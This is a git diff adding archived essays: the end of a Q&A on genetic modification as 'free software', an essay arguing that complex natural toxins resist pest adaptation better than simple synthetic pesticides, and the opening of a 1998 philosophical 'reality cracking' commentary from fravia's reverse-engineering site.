Modification of organisms is something which doesnt go away, once +you release an organism it stays released, and uaully evolves into +something else. Australia has a history of this... feral rabbits, foxes, +cats, birds, grasses, trees, and to a significant extent, humans who did +not evolve locally. Australia is never going to be rid of them and they +aren't even genetically modified. Our successes with smallpox and prickly +pear are aberrations. + + +

Q: There is a concept called "free software" - how +does that tie into genetic modification?
A: Living organisms run +molecular transformation programs which are encoded in their DNA, and +executed by proteins. This molecular information, which is actually +"software" is free... it is available to benefit all organisms. For +example, you have three billion base-pairs of DNA in each of your cells, +and this is the software which tells them how to run. You inherit this +software from your parents, for free - they both contribute to your genome +and when they concieve you are effectively contributing their working code +to a collaborative software development project - you. They donate this +code without copyrights attached to it, and you as a human being don't +have to pay them a license fee for running their code in your metabolism. +There are no laws against you giving your code to other people - once +people reach a certain age they are legally allowed to share their genomic +data to whomever they choose, provided the other party consents to share +as well. Currently there is no law against you sequencing parts or all of +your own DNA. The only things which stand between you and modifying your +own DNA are technical hindrances, such as, how good are you at molecular +biology lab technique.

+ +Lots of agribiotech businesses take this kind of software from say, a +plant, modify it slightly and then claim the entire plant as theirs. This +is, technically, on most electronic platforms, software piracy. It is +exactly like micro$oft taking an open standard and modifying it so it +becomes proprietary to them.

The planetary genome should remain free +software. It is too important to have it any other way. I recommend a look +at GNU.org for some essays about Free +Software. Stallman's comments about electronic data apply very much to +biological data. + +

+ +
You complain a lot about GM, do you think +there's anything good about it?

+ +Sure. DNA vaccination is a very good thing, so far, though it has +helped the human population explode. Recombinant insulin is a good thing, +so far, and there are a lot of diabetics alive today who would otherwise +be dead (the pigs from which insulin used to be extracted are probably +still processed into bacon and pork roasts, however, so they have not been +so lucky). I think these are examples of what good there is to be had from +GM technology. Provided everyone is being fed adequately, and the number +of humans on earth isn't adversely affecting the ecosystem, these sorts of +life-preserving and life-extending things are a really good idea. The +food-and-population problems are not going to be solved by GM technology, +they're social problems, artefacts of how our corporate-run society is +operated. + +

I think cloning humans is sort of pointless, since it already happens +in nature to some extent (homozygotic twins). It's certainly cheaper and +easier, at the moment anyway, to make humans the same way we have been +making them for several hundred thousand years. If it is applied on a +large scale to animals which currently reproduce sexually, we'll have the +same monoculture problem we have with a lot of plants, which is, they're +genetically all the same and hence all vulnerable to the same +diseases. (Bananas and coffee plants are examples of plants with +restricted variety because mostly they're clones - they need specialised +attention and things like fungicides and pesticides frequently applied.) + +

The cloning mostly happening at the moment is from somatic cells, +which are damaged. Cloning will work when expeimenters begin with fresh +embryonic stem cells. People are now preserving their kids stem cells at +birth. + +

Now, on the other hand if I could clone my own organs, that would be +kind of useful, but I expect that organ cloning is going to give rise to a +new class of individual in society - the more-or-less-immortals, who can +afford a couple of million bucks for a new lungs, livers, hearts, spleens, +skins, and other replacable organs every few decades. Does the rest of +society really want sly corporate CEOs and government dictators and so on +to live longer than they do already? + +

I can think of a pile of modifications I'd like to try on myself. More +resources allocated to things like free radical scavenging, DNA error +correction, cytochrome P450 optimisation to degrade the new and wierd +poisons I absorb because I live in an industrial society. An immune system +which was better at spotting metaplastic cells before they became tumors. +Ability to synthesise my own vitamin C and folate and essential amino and +fatty acids. More melanocytes so I don't get sunburnt so easily. CNS +neurons which could metabolise lipids (they currently can only metabolise +ketones and glucose) for energy. That's molecular stuff. I don't know if +any of it would work, or perhaps drastically skew my metabolic resource +allocation so I died. + +

I caught myself thinking the other day that I could modify my visual +pigment, rhodopsin, so I could see shorter or longer wavelength photons +that is, see in the ultraviolet or infrared parts of the spectrum. But +there are problems... - as with all the preceding screwups, I cannot just +modify one gene and expect it to work. If I modified it so I could detect +infrared, I'd have to have my eyes located somewhere other than in a big +skull full of metabolically active (and therefore very warm) brains (on +stalks, maybe?!) otherwise I'd just percieve a blank wall of the same +temperature because of all the waste heat being dumped into my eyeballs. +If I had visual pigment which could detect short wavelength radiation, how +is it going to get through my cornea and aqueous humour, which absorb in +the UV to a considerable extent? I'd need to do an awful lot of serious +and extensive modification to my basic embryology and biochemistry to do +these things. + +

With some of these modifications we could live a very long time, +however, currently I do not think the long term consequnces of my being +able to live to 190 years of age are being planned for in the social +infrastructure sense. It means I would consume lots more food, energy, +resources; more of the disposable, designed-to-break junk which is sold to +us by profiteering corporations. I'd rather die +than live 190 years of wage slavery. + +

At the organ level, how about otoliths which +regenerate so my hearing doesn't degrade? No loss of skin's ability to +synthesise collagen so I don't get saggy as I age? What about a new set of +natural teeth every thirty years? Nerves which correctly knit when +severed?

What about things like +heavy structural +modifications ... redundant fingers, redundant organs, backs which aren't +so prone to blowing a herniated disc, nerves routed away from impact +sensitive locations, more anastamosed arteries. Bigger pelves to enable +less traumatic delivery of neonates with bigger heads and brains? Bigger +brains are metabolically costly to run, is that a good idea? Brains which +are optimised for certain abilities... are we engineering a species which +consists of people so standardised for obediently working in an office +environment that we lose the philosophers, the radicals, the +visionaries? + +

(I +wonder if we're not breeding that civil disobedience out of ourselves +already.) + +

I do not think these sorts of +things should be inflicted upon neonates. Maybe if you could prevent a +child from suffering some kind of genetically inherited disorder, you +might want to do that. I do not think that interfering with the +neurochemical or developmental architecture of our brains is likely to be +optimal for us in the long term, simply because the direction this will +take will fit the social whim of the day... we shouldn't try to engineer +humans to fit some trendy social model, or the diversity which we +absolutely depend on to run our social organism will go away. People +conventionally considered stupid or ugly or insane have contributed to +what we call the human experience. + +

+ +None of us asked for the bodies we +are born in or the brains in which our personalities operate. Neither will +any humans who grow up to discover that they've had their genome tinkered +with. Hopefully they won't curse us for giving them a gene which was +fashionable ten years ago but which is now though of as a social stigma. +Would male pattern baldness become a thing sported proudly, which says "I +run wild type human DNA - a bunch of software proven stable over thousands +of years"? + +

Every +conception is an experiment in applied embryology and, as gynaecologists +will tell you, nature is the ultimate eugenicist - lots of embryos are +spontaneously aborted, some before they get out of the first trimester, +many of these are just intrinsically not viable at a molecular biology +level, something went awry with some serious part of the developmental +process. It won't be very different with germinal modifications. I'd tend +to not tinker with crucial things I don't understand. I hope biotech firms +learn this posture before they rob us of our own +indentities.

Q: +sheesh, can I go now?
A: Certainly.
<predator> + + + + diff --git a/pestlock.txt b/pestlock.txt new file mode 100644 index 0000000..f00fcb9 --- /dev/null +++ b/pestlock.txt @@ -0,0 +1,462 @@ +file: pestlock.doc +Derived from File: Azadirac.doc (alpha version) + + + +Bigger IS better : why it is harder to evolve resistance against a complex +poison molecule than it is to evolve resistance against a simple one. +---------------------------------------------------------------------------- + +Since before the start of the 20th century, there's been an "arms race" +between pesticide manufacturers and their new killer chemicals, and the +target pests who eventually learn how to tolerate them. It always seems to be +that these synthetics are hailed as a silver bullet, but soon enough the +target organism learns to dodge it. Why might this be the case? And more +pertinently what might be the solution? + +This doesn't just happen down on the farm, either. It occurs at all biological +scales. The physical size of the pest animal is irrelevant, since the war is +fought at a molecular level. The wars are being lost : there's plenty of +antivirals to which viruses are now resistant, bacteria which eat multiple +antibiotics for breakfast and survive, fungi which are not killed by +antifungal agents, insects which can happily metabolise insecticides all day +long, and plants which manage to survive despite an onslaught of herbicides. + +(It is important that this happens. Some of the things we kill with our + nonspecific poisons are actually our allies, and we need every ally we + can get, but that's another issue.) + +Many of the agents employed in the quest to kill various organisms are +extremely effective in their initial application, but less effective with +repeated use. All those drums of "Kill-O" in the shed which did great work +last year will underperform next year and be useless the year after that. +Why? The pests literally engineer a way out. But how do they do it? Why +can they do it? How do we stop them? + +To define this problem further we will have to go down to the molecular +arena where these battles are fought out, and first gain an understanding +of what a poison actually does. + +Enzymes, poisons, and the art of the evolutionary molecular locksmithing +------------------------------------------------------------------------ +A useful aid to understanding the toxicological concepts without having to +drown oneself in the agonies of biochemistry is to use an analogy. Most of us +have a bit of a familiarity with locks, and although the analogy isn't exact +it can give you a good idea of what's going on. + +Locks permit gates to be opened and closed by specific keys. In biochemistry +the gates have to open and close at specific times or, amongst other things, +nutrients and raw materials can't get where they need to go. As in real life +the the keys control the state of the locks, and the locks control the state +of the gates. Enzymes often combine the "lock" and "gate" in the one, +dual functional package. + +As with locks, in biochemistry, you can have the locks and keys set up in +particular ways. If you have one gate and two locks in tandem, opening one +lock will open your gate even if the other lock is still locked. On the +other hand, you can have a gate with two locks in parallel, each on separate +hasps, so you need to unlock both locks at the same time to open the gate. + +In nature, although you will occasionally find a setup where only one lock in +several needs to work for the gates to open and close appropriately, the +set-up is usually parallel, in the sense that all the locks must work or +the gate can't be opened and closed at the right times. + +There is one significant difference in biochemistry: you CAN'T change the +keys, because the keys also happen to be very same nutrients and raw +materials that the gate will permit through it! + +Locks are constructed a particular way, and will admit only certain types of +key - round keys on vending machine locks, U-shaped keys on Bi-lock locks, +your front-door lock takes a familiar brass Yale key into its keyhole. +Then, of the keys that fit, then only the one with the right wiggles on it +will open the lock. + +It's a similar thing with the enzymes which run living things. They are +shaped a particular, specific way, will only let particular substances into +their gaps and crevices, and they are very choosy. Just as you can't fit a +round key into a lock with a U-shaped keyhole, you can't fit molecules into a +given enzyme unless they are shaped just right. + +Nature would prefer that she could open and close her molecular locks and +biochemical gates as she sees fit. If she can't do it, certain gates are shut +or open when they shouldn't be, so valuable things escape, or nutrients can't +come in. Things die, simple as that. + +It is useful to think of poisons as a kind of a dud key. Whereas normal keys +enable you to open or close a door by unlocking or locking a lock, the poison +key still fits the lock, but has to gum up the lock's working somehow so the +gate can't be opened ever again, or is locked open when it should be shut, +or whatever. + +Poisons look similar to the usual stuff a protein interacts with, but are +different in some critical way which happens to ruin the protein. There are +many different interactions. To continue with our lock and key analogy, +it's as if a key has been filed in such a way that it jams against the pins +and won't come out, kind of like a dynabolt: it changes once it is inserted +so you can't pull it out again. This consequently means you lose control of +your gate - it is open or closed at inappropriate moments. + +This sort of stuff happens when poisons interact with biochemical systems, +but nature can't change the keys! + +It's worth noting that historically some locks were made with detector levers +in them... enabling them to be easily `poisoned' or made unopenable. If you +tried the wrong key, relockers were engaged and then NO key would open the +lock, including the correct one. + +It seems now that a lot of our dud keys are in fact no longer jamming the +targetted locks. How do bugs get resistant to our dud chemical keys? + +Nature changes the locks. +------------------------- +Nature isn't conscious in the conventional sense. It doesn't say, "Hmmm, +yeah, if I rip off a chlorine atom here I can neutralise this poison." + +Instead, routinely, nature's organisms make hundreds of slightly different +versions of their locks - in this case, many versions of target enzymes in a +pest's biochemistry. All of these will still perform their usual biochemical +job, and most of these versions are messed-up by poison. However, because +organisms have twenty different types of amino acids to play with, in each of +several hundred positions in the target protein, they have an amazing range of +lock versions to potentially construct, and chances are that they can come up +with one which will still work with the original key, but which now won't +admit the dud key (poison) which jams up the lock. + +The rate at which an organism comes up with a solution is related to a couple +of things, mainly how flexible the organism's improvisational locksmithing is, +and also how often the organism reproduces. Each member of the target +species has a slightly different plan for their own personal locks, which +still use the original key but varies in some other way, which might happen +to make it un-poisonable. Each new member gets a crack at accidentally +inheriting the lucky new lock variety, which still uses the original key +but which won't be wrecked by the dud one. What this means is that the more +often the bug species reproduces, the more bugs there are trying to figure +out what the work-around lock version should be, with each generation of +surviving bugs. + +When this biochemical locksmithing problem is solved, the bug that solves it +reaps an enormous benefit. It not only is it now immune to the poison key but +almost all of its progeny have the design for the new locks encoded in their +DNA - resistance is hereditary - so they are immune too. + +It all sounds wonderful, but there is a caveat. + +If the dud key is complex, and very subtly made to simultaneously interact +with many parts of the lock, or worse still, interacts with many different +kinds of locks at the same time, nature has a much harder time of it and has +to devote serious, often unaffordable resources to build the new locks so it +can run its biochemistry again. It is then that other approaches tend to be +tried, such as systems which recognise dud keys and chop'em up, or which +pump the dud keys out of the organism. + +It is here that the lock analogy breaks down a bit and we have to return +into the real world for a little while. There is another analogy which will +be useful, but I'll get to that when I come to it. + +Humans make simple poisons, nature makes complex ones. +------------------------------------------------------- +So back to the molecular machinery of resistance in insects. Insects have +been under attack from many organisms for millennia, the most recent being +h.sapiens, which fancies itself a bit of an organic chemist, but we're nowhere +near as clever as Nature at this molecular art. Humans have synthesised and +sprayed all sorts of stuff around to kill insects, and other things. + +Maybe some of the names will be familiar... alachlor, aldicarb, aldrin, +atrazine, benomyl, amitrole, 2,4-D, chlordimethiform, carbaryl, carbofuran, +chlordane, chlordimethiform, chlorvenifos, chlorpyrifos, chlorotoluron, +cyclodiene, DBCP, DDT, dicamba, dieldrin, dicrotophos, dimethoate, disulfoton, +endothall, fenthion, glyphos, heptachlor, hexazinone, lindane, malathion, +mancozeb, monocrotophos, oxychlordane, paraquat, permethrin, primicarb, +simazine, thiocarb, trifluralin, zineb. + +You might notice a few sounds repeated. For example, chlor- means there +is one or more chlorine atoms in the stuff. It is interesting that halogens +don't show up very often in plant toxins. Phos- and fos- suggest a phosphorus +which is another atom which doesn't tend to show up in natural poisons either. + +You might notice a few sounds are repeated frequently. For example, +chlor- appears several times. So does -phos, -azi, -thio/sulf. Thio and sulf +imply a sulfur, which is another uncommon atom in plant poisons, unless you +look at relatives of the onion and garlic familes which tend to use +non-protein sulfur compounds a lot. Pyr- suggests one of several rings with +nitrogen and carbon in them. Carb- suggests a member of a family of the +carbamate family. + +A lot of these chemical "Leggo-blocks" show up time and again in humanity's +artificial synthetic pesticides. + +There are others, but it doesn't matter that I omit them. I'm using the +phonetic similarity in the names to illustrate a structural similarity in the +pesticide molecules. If you looked at structural drawings of them, or even +had to wrestle with their special chemical names, you'd see similarities +there too. + +The "dud" keys we use to jam nature's molecular locks have some commonalities. + +They're simple, small and structurally fairly similar. Firstly, they +generally aren't very big, as far as molecules go. Also, since they are made +of heavy atoms, weight for weight, they aren't very complex compared to +equivalently heavy molecules made of lighter atoms. Look at something like +heptachlor - it's basically a loop of carbon atoms where molecular weight +is gained by bolting on a few fat chlorine atoms. The molecule has a lot +of similar and simple branches on it. Which raises a third point: synthetics +often they tend to have similar and simple structural backbones. Our +synthetic pesticides are all simple variations on the same themes, childish +molecular Leggo structures compared with the amazingly complex pesticidal +sculptures nature comes up with. + +Complexity is determined by how much stuff you have to build with, and +also how configurable all the bits are. You can only build so much with five +bits of leggo, but nature dictates that by doubling the pieces of leggo, you +get far far more than double the number of ways of putting them all together. +You can, weight for weight, get many more permutations and combinations out +of a given mass of "light" C, O, H and N atoms than you can out of the same +mass of atoms like S, P, Cl and related "heavies". The total mass of the +leggo is not the issue - it is the complexity of its configuration. + +Some of the reasons for this are that humans simply haven't been doing +chemistry for several million years and simply cannot cheaply make these +complex backbones which nature seems to do so easily and cheaply. So our +approach is, yeah, let's synth this, then drown it in nitriles or halogens or +something else amenable to synthesis by the bulk chemical synthetic methods +we humans tend to use. + +In contrast, poisons plants make and use against bug attack are made naturally +and most of them are made out entirely of carbon, hydrogen, oxygen and +to a lesser extent nitrogen. These elements are also the main ingredients in +plant toxins with other atoms in them, like sulfur or bromine. + +The reason for this is that probably N, P and S are environmentally scarce +and metabolically not worth the price of manufacture for defense purposes. +Phosphorus is so rare and presumably so precious to the organism's energy +(ATP) and information (DNA) metabolism, that it will not be allocated to +other tasks, because these energy and information metabolism functions are +so critical to the system that there would be a selection pressure against +an organism that didn't allocate P only to these critical tasks. Same for +sulfur, which is a critical component of many proteins but which is +relatively rare in the environment. From a plant's point of view, compared +to N, P and halogens, there's a stack of "cheap" carbon and oxygen around +with which to build complex stuff, so the plant making a toxin to defend +against attack is less pressured not to deplete these elements by using them +to make defensive chemicals. + +On the other hand nature might just be better at complex carbon oxygen and +hydrogen chemistry than she is at complex sulfur phosphorus and nitrogen +chemistry. But that's not really central to the issue. The central issue is +the complexity. + +Nature seems to rely more on taking whatever is lying around and building a +really complicated pest-repellent molecule, instead of building heavy, but +simple, molecule. The molecules which nature uses as pest repellents, if they +are heavy, get this way by being complicated artworks of light atoms, rather +than being structurally simple molecules with heavy atoms attached to them. + +Simple vs Complex Dud Keys +-------------------------- +So what? Why should the complexity of a poison matter? It's the interactions. + +A large, complex poison molecule will necessarily interact with many parts +of its target enzyme at once. The ultimate poison key is something which +interacts with a lot of the lock components and renders them useless, e.g. a +squirt of adhesive from a hot glue gun, all the way up the inside of the lock, +will jam up that lock in a much more irreparable way, than will a wad of +chewing gum stuck shallowly in the keyhole. + +Putting a bubble-gum shield on keyhole is easy: add-on a strip of teflon, and +the gum can't stick to the lock, but you can still use the original keys. + +Compare this simple bubble-gum-repulsion problem, to the problem of +redesigning a lock to keep liquid epoxy out of the keyhole, the broach, all +the little pins and springs, and out of the surface where the lock barrel +turns inside the lock body- it's a screaming nightmare if you need to +continue to use the existing keys, which demands that there remains a open +hole in the lock through which the existing key (or the deadly hot glue) can +be inserted. + +Hot glue is a hell of a poison for locks, because it gets intimate with so +much of the guts of just about any mechanical lock you can build. Once inside +it forms a complex shape which happens to match all the inner surfaces of the +lock guts. To get around this, the design of the locks must be radically +changed to keep the glue out. This change is so radical, it means you also +need a kind of key which you don't have to actually insert into the lock. + +There are locks immune to hot glue. They lack keyholes and their key is a +specially constructed blade of plastic, which contains embedded magnets. +The magnetic field passes through the wall of the lock directly, and needs no +keyhole. You can drown the magnetic lock in as much glue as you want but it +will still work. Magnetic locks are immune to destruction by hot glue guns. + +The price we paid for locks immune to a hot-glue poisons, was thet we had to +change not only the lock, but also change all the keys too, because all the +old brass keys don't work in the new locks. When locksmiths first made +magnetic locks they had to start using unfamiliar materials like plastics +(they used to work with metals and ceramics) and they had to learn about +magnetism, which was a considerable lot of new stuff to learn. The magnetic +locks were expensive to construct because the tools needed to make them were +very different to the tools via which the usual metal locks were made. +Of course, the new magnetic locks didn't work with all the old brass keys so +they keys all had to be changed too. + +But nature can't change keys, she is constrained to continue to build +locks which are susceptible to ruin by complex poisons. The very nature of +the existing keys render the locks vulnerable to a complex attack. + +This means, from an evolutionary point of view, that to get around a complex +poison, MANY changes need to be made to the target enzyme, all at once. On +top of this is the need to maintain the ability to use the existing key. This +is a much bigger ask, just like the design of a lock immune to hot glue. + +Each interaction adds itself to the list of problems which need to be solved +to enable the lock to work again, and they *ALL* need to be solved together. + +It can take the target insects or plants (or whatever) decades, even +centuries to solve such a problem - sometimes they don't ever solve the +problem (basically they run out of time) and slide into extiction. + +[An alternative strategy is the messing-up of more than one lock at the same + time. Sure enough, you find multiple toxins in the same plants. This is an + even bigger ask, because the pest has to evolve several new locks all at + once. Look at plants like barley, onions, horseradish, carrots, tomatos. + They have at least four phytotoxins in them. Look at the common spud, got + about 9 of them too. We usually get around them by cooking the food or + otherwise destroying the toxicity. Most pests don't do this.] + +Well if nature is so smart, it probably knows that complex poisons are more +useful and give a better return on the biological resources used in their +development. Does nature tend to use simple or complex poisons? What sort of +pesticides do plants use against the bugs which suck their sap and eat their +leaves? + +Nature makes complex poisons +----------------------------- +The hypothesis that the pesticide companies would need be unable to falsify, +in order to prove that their stuff is as difficult to get resistant +to as the sort of complex agents nature has taken millions of years to +patiently evolve, is that + +"natural complex pesticides exhibit the same resistance problems as our + simple synthetic ones." + +I think the hypothesis has already been falsified anyway, however, in the +course of Nature's ordinary problem-solving. Nature presumably knows about +resistance, after all, various organisms have been fighting chemical wars +against each other long before we ever came down from the trees. The bacteria +and fungi have, particularly, been fighting for aeons - we use the weapons +that the fungi provide in our wars against bacteria, most of our antibiotics +are derived from moulds and other organisms in the fungal realm. + +If nature "thinks" big molecules are harder to get resistance too, then they +should be more common in her armament of poisons, than small and simple +molecules. The payoff for designing a poison is then greater, because it +defends the designer for a longer period in evolutionary time. The payoff is +greater than the cost of developing it. + +Nature also knows that it takes considerable effort to evolve these things, +and tends to not go over the top by simply bolting on more complexity than +is absolutely warranted in keeping the pests guessing. + +So what to expect? Well, few simple poisons, many complex poisons, and a few +really complex nightmares. Such a profile will reflect two things ... + + 1) nature CAN synthesise complex poisons against pests, when it is worth the + effort to prevent resistance over evolutionary time, and + 2) will reach a plateau of complexity when the chemistry becomes too + metabolically expensive or synthetically intractable. + +It also has to be remembered that it does the defending organism no good to +get poisoned by its own defensive chemicals, which further constrains its +scope for engineering poisons against pests. + +A rough guide, a fingerprint to look for, is the preponderance of carbon in +the sorts of molecules which plants tend to use as poisons against various +pests. + +I happened to pick up an expensive book at a half price sale some years ago, +called the Dictionary of Plant Toxins. It happens to list in the back the +molecular formulas of the molecules in the whole dictionary, in increasing +numerical order, starting with the number of carbon atoms in the poison. + +Some of the molecules in this count are not toxic to things against which the +plant has had to compete - for example, there are plant toxins here which +kill tumor cells in mice, and plants don't have to compete against mouse +tumor cells. But most of these are toxins made to help the plant survive +attacks by insects, fungi, parasites, plant viruses, bacteria, grazing +animals, and even nearby competing plants. + +I counted 'em up. What do we see? + +# of Carbons : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 +Listed toxins: 2 5 2 9 6 16 14 25 15 51 51 36 34 51 169 80 78 52 66 114 + +# of Carbons : 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 +Listed toxins: 75 68 28 21 17 16 35 10 34 32 17 25 8 13 19 21 10 12 5 9 + +# of Carbons : 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 +Listed toxins: 19 7 4 1 8 10 9 7 3 3 2 0 1 1 3 1 1 1 1 2 + +Summary: a number moderately simple toxins (less than 10 carbon atoms) + A hell of a lot of complex toxins (Between ten and forty carbon atoms) + Very few extremely complex toxins (more than forty carbon atoms) + +Pretty much what you might expect. It's a trade-off between effectiveness and +the molecular engineering difficulty associated with making a really complex +poison. Hey, YOU try and synthesise a complex molecule with 40 carbon atoms +in it, starting with sunlight, water and carbon dioxide! There is a bit of +bias in the low end, you just can't make much complex stuff with three carbon +atoms. You can make plenty of things with five, and more with oxygen and +nitrogen +thrown in. + +The data has been available for years for anyone to look. It probably has +some sample biases (like, protein poisons are very complex but not hard to +make) but I don't think this matters : it was just a bunch of plant poisons +listed in a toxicological dictionary. It happens to fit what we might have +expected if the evolutionary economics of natural synthesis of plant +pesticides were subject to the sorts of trade-offs 1) and 2) outlined a few +paragraphs above. + +Ag-pesticide companies tell us they know their chemistry, we know they have +business acumen. You might want accuse the pesticide companies of knowing +this trend and deliberately only designing simple poisons so you have to go +and buy another one when the last simple one you got became worthless due to +the appearance of resistance. + +It's a kind of inbuilt obsolescence at the molecular level. It happens to +benefit the chem companies that this is the case. But I never attribute to +malice what can adequately be attributed to stupidity. In this case, it's +stupidity. We just don't yet know how to cheaply make really complex +pesticides to which it is hard for the target organisms to get resistant. + +Nature has, incidentally, solved the complexity-of-synthesis issue in a +novel way : modularity. It knows how to synthesise twenty or so amino acids; +but since these amino acids can be daisy-chained by a single, uniform +mechanism, it can make an unlimted number of possible proteins simply by +bolting the amino acids together in different sequences. There is no need to +come up with new chemistry for each new protein, it is simply a matter of +changing the order in which the well-known reactions occur. Like a Rubik's +Cube, you only have six colours to choose from, but depending on the way +you configure the cube you can have billions of combinations of colours, and +getting them is a simple matter of twisting the faces - any child can do it. +Protein synthesis still remains a fairly tricky feat of peptide biochemistry, +we generally employ recombinant bacteria to do it for us because it's +something we humans just can't very easily or successfully do in a test tube. + +I'm a synthetic organic chemist, and I know it is terribly, terribly hard +to synthesise complex molecules. Its possible, but the cost in unwanted +byproducts is just too much to make the final pesticide affordable. There is +another advantage. Biological poisons generally biodegrade, and don't +become long term stable environmental contaminants like most of the +organochlorines and organophosphates used in the last five decades. Throw in +the requirement for biodegradeability and we're synthetically and +economically pretty well sunk. By comparison, all of nature's poisons are +ultimately biodegradeable. + +So what to do? Use nature's chemicals against pests +---------------------------------------------------- + +I think the way of the future is clear - stop using simple synthetics and +instead, extract complex pesticides from natural sources. Nature is a much +better pesticide chemist than humanity, after all. + +-Mike Carlton diff --git a/realcrak.htm b/realcrak.htm new file mode 100644 index 0000000..ff0be97 --- /dev/null +++ b/realcrak.htm @@ -0,0 +1,1461 @@ + + + + + + + + +

+ _________________________________________________________________
+
+ Reality cracking
+
+ Getting deeper into reality cracking
+
+ Comments about "An Essay Attempting to Justify the Relationship
+ Between Code Cracking and Reality Cracking"
+
+ by <predator>
+
+ (16 September 1998)
+ _________________________________________________________________
+
+ Well, this is another example of the funny 'time warping' effects on
+ our deep deep web. I published Curious George's essay in february 1997
+ and the first global answer, this one by <predator>, comes in
+ september 1998, more than one and a half years later... whatd'you
+ say? The web seems to be in another time continuum alltogether,
+ doesn't it?
+
+ I'll leave you now with <predator>'s observations, read (if I may
+ suggest, at least two times, you'll thank me for this tip) and enjoy
+ (and add if needs be). Of course be aware of the fact that this kind
+ of reality cracking is the most "philosophical" one, as opposed to the
+ more 'concrete' anti-advertisement essays, and you may well be one of
+ those skeptical souls that feel the irresistible impulse to check if
+ their wallet is still there everytime they hear somebody speaking
+ about "soul" or "meme"
+ :-)
+ Just kidding... there is a considerable depth inside <predator>'s
+ rantings (as well as inside Curious George's original ones) and when I
+ read this kind of stuff I get the strange feeling that we humble
+ crackers and code reversers (or "reversalists" as <predator> calls us)
+ are on the eve of unprevedible philosophical discoveries... could it
+ be that in this world software and life are already so indissolubly
+ bound that investigating the first you may find some of the answers
+ for the oldest questions of our human race?
+
+ You may want to read first the original essay by red Curious George
+ without <predator>'s interpolations
+
+ And now prepare for a very interesting, intriguing and deep lecture:
+ reality cracking at its highest peaks!
+ _________________________________________________________________
+
+ Submission to +Fravia's Reality Cracking essays.
+ Who am I? I am <predator> .:. Reverse the universe .:.
+ Replies from Sep 05 1998 (under edit.com)
+ I use SuSE Linux and have Mess-dog6.2, I have staunchly refused to run any
+ (a)version of M$-gui OS on my box. Commentry intercalated in:
+ An Essay Attempting to Justify the Relationship Between Code
+ Cracking and Reality Cracking (Why is Reality Cracking Important?)
+ by Curious George (11 February 1997)
+
+ An Essay Attempting to Justify the Relationship
+ Between Code Cracking and Reality Cracking
+ (Why is Reality Cracking Important?)
+
+ by Curious George
+
+ (11 February 1997)
+ _________________________________________________________________
+
+ Courtesy of fravia's page of reverse engineering
+ _________________________________________________________________
+
+Curious George writes:
+>Dear Fravia:
+
+>...More than that, "Reality Cracking" can be accomplished
+> by anyone with a critical mind. You don't need hours
+>of undisturbed time in front of the computer. You can
+> practice your reality cracking skills all day long,
+>everyday of your life! And you should, lest you be taken
+> advantage of unknowingly......Having read all of the
+> Reality Cracking section, and a decent amount of the rest,
+> and being fascinated by the +ORC enigma, I felt compelled
+> to write an essay that covers two topics. First, I discuss
+> reality as a whole. Second, I tried to get into +ORC's
+> mind (funny, me of all people, probably one who knows least
+> about him...) and find an overall motive... hope you enjoy!
+
+>Best Regards
+>Curious George
+ __________________________________________________________________________
+
+
+> (Introduction)
+> Our view of the world is our own. The particular set of events that we
+> experience over our lifetimes shapes what we see in the world. There
+> are commonalities however. They are large reality models that whole
+> nations subscribe to. There are different models. Some conflict with
+> each other. All are subsets of the true Reality. We must crack reality.
+
+ They are not necessarily subsets of true reality. Some of these
+ reality models are complete raving delusions.
+
+> What is Reality Anyway
+
+ The universe is data, and interactions between data.
+ Treat it as data and all will become clear.
+
+> Lets start from the very beginning. We talk of Reality Cracking, but
+> we don't really know what reality is, do we?
+
+We can never actually know. "We" - our live code, the dynamic data structure
+that we are, our "personality" - exists by proxy, molecularly encoded in a
+biochemically based, massively parallel neural-net processor. Some call this
+a soul or spirit, or persona. The suite of simultaneously-operating
+thought-process daemons in THIS head, which refers to itself as <predator>'s
+head refers to them as... well, just what they said they were at the start of
+this paragraph : simultaneously-operating thought-process daemons. They/we/I
+are a huge, parallel, evolving computation. A self-contained information
+ecology. So, I think, are you too.
+
+> I believe (with lots of other people too, like Plato, and Orwell to
+> name two) that it is whatever you think it is.
+
+Also correct. It cannot be otherwise in a symbol processor like the brain,
+which emulates and models a perception-derived reality, but cannot experience
+it directly. A processor does not know* its registers have any particular
+external pertinence, nor does a neuron *know* that its particular state of
+synaptic receptor density, neurotransmitter receptivity profile or axon
+depolarisation have any pertinence or even relationship to anything. The
+relationship is there, but the interacting components in this do not know
+it, even if they represent it. Only in recursion and self-reference do
+systems ever model themselves and thereby "know" themselves, insofar as a
+system can know anything. Read Douglas Hofstadter, "Gödel Escher Bach".
+
+> More specifically, there are the models ("Paradigms") that define
+> reality for those who subscribe to them.
+
+
+Correct, although explained from the human's-eye view, from the perspective
+of the processor. You want to get at the _code_, don't you? Here's the deal:
+first learn to understand that the universe and all the processes in it are
+understandable in terms of information systems. Start with the processor:
+the human neural network, codified in 3x10^9 base pairs in the human DNA
+genome, implemented as billions of neurons connected combinatorially in
+trillions of different ways. It has been honed by evolution to act as a kind
+of universal computer - a Turing machine: it can emulate any process, be it
+language, tool use, or abstract information processing. By biasing receptor
+concentration, synaptic neurotransmitter synthesis rates, and indeed even
+growing new transmission links in particular ways, the neural net trains
+itself to do particular tasks, such as pattern recognition, information
+storage, symbol processing, and a lot of other things. It has also evolved
+in such a way as to be connected to inputs of incredible sensitivity and
+large bandwidth; eyes, ears, skin, smell, taste, balance... these detect
+external "real" events... photon capturings, (you perform breakdown thereof
+and analysis of patterns therein, you have retinal neural-net preprocessing);
+audio frequency spectrum analysis, temperature, pressure, acidity, the
+presence of certain molecules dissolved in gas or liquids, etc. The
+detectors, usually G-proteins coupled to molecular signal-gain systems
+(usually catalytic cascades) turn it into "data" by various means, ultimately
+represented by neural firings. These recieved patterns gradually are modelled
+by the human neural net processor. The processor is also connected to
+actuators: muscles, which enable externally-detectable realities to be
+modified, and data to be transmitted.
+
+In humans, output bandwidth is slow and small, except for the output which
+benefits the genes which code for us - the penis has _big_ output bandwidth.
+
+Speech is hopelessly slow, making love is hopelessly slow, dancing, writing,
+drawing, sign language, semaphore, typing... compared to the size of the
+data structure that is the human personality, the output bandwidth for the
+expression of human thought is trivial and totally inadequate to achieve
+significant personality transfer without a lot of time to do it.
+
+Self-awareness comes when the net learns that it can observe the consequences
+of actions it decided to perform. It hears its own voice, or it sees its own
+hand shake in front of own eyes. It comes eventually to recognise that in
+the mirror, as it looks into its own eyes and points these detectors at
